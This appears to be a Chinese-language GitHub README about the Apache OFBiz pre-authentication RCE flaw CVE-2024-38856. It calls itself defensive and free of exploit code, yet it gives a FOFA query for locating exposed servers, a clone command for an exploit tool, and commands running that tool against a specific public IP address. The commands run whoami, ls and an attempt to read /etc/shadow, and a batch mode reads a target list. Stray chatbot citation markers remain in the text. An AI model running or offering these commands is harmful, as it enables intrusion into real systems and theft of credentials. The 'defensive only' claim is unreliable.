仓库目的: 提供关于 CVE-2024-38856(Apache OFBiz 错误授权 / 预认证 RCE)的信息性文档。
本仓库不包含武器化漏洞利用代码。它仅用于防御性研究、补丁指导、检测和安全实验室测试。
CVE-2024-38856 是 Apache OFBiz 中的一个错误授权漏洞,可能允许未经身份验证访问某些端点,并且在特定条件下,能够执行屏幕渲染代码,从而导致在受影响系统上远程执行代码。该问题已在 Apache OFBiz 18.12.15 中修复;直到 18.12.14 的早期版本均受影响。 :contentReference[oaicite:0]{index=0}
严重性 / 影响: 多个安全厂商和研究人员将该漏洞评为严重级别——它可能导致在易受攻击的实例上未经身份验证的远程代码执行,并且已观察到在野外的活跃利用尝试。管理员应将暴露的 OFBiz 实例视为高优先级修复事项。 :contentReference[oaicite:1]{index=1}
fofa : app="Apache_OFBiz" && port="8443"
git clone https://github.com/Hex00-0x4/CVE-2024-38856-Apache-OFBiz.gitcd CVE-2024-38856-Apache-OFBiz└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "whoami"└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "ifconfig"└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "ls"└─$ python3 apache_bang.py --target https://139.5.191.156 --port 8443 --exploit -c "cat /etc/shodow"
─$ python3 apache_bang.py --file target.txt -c "ls"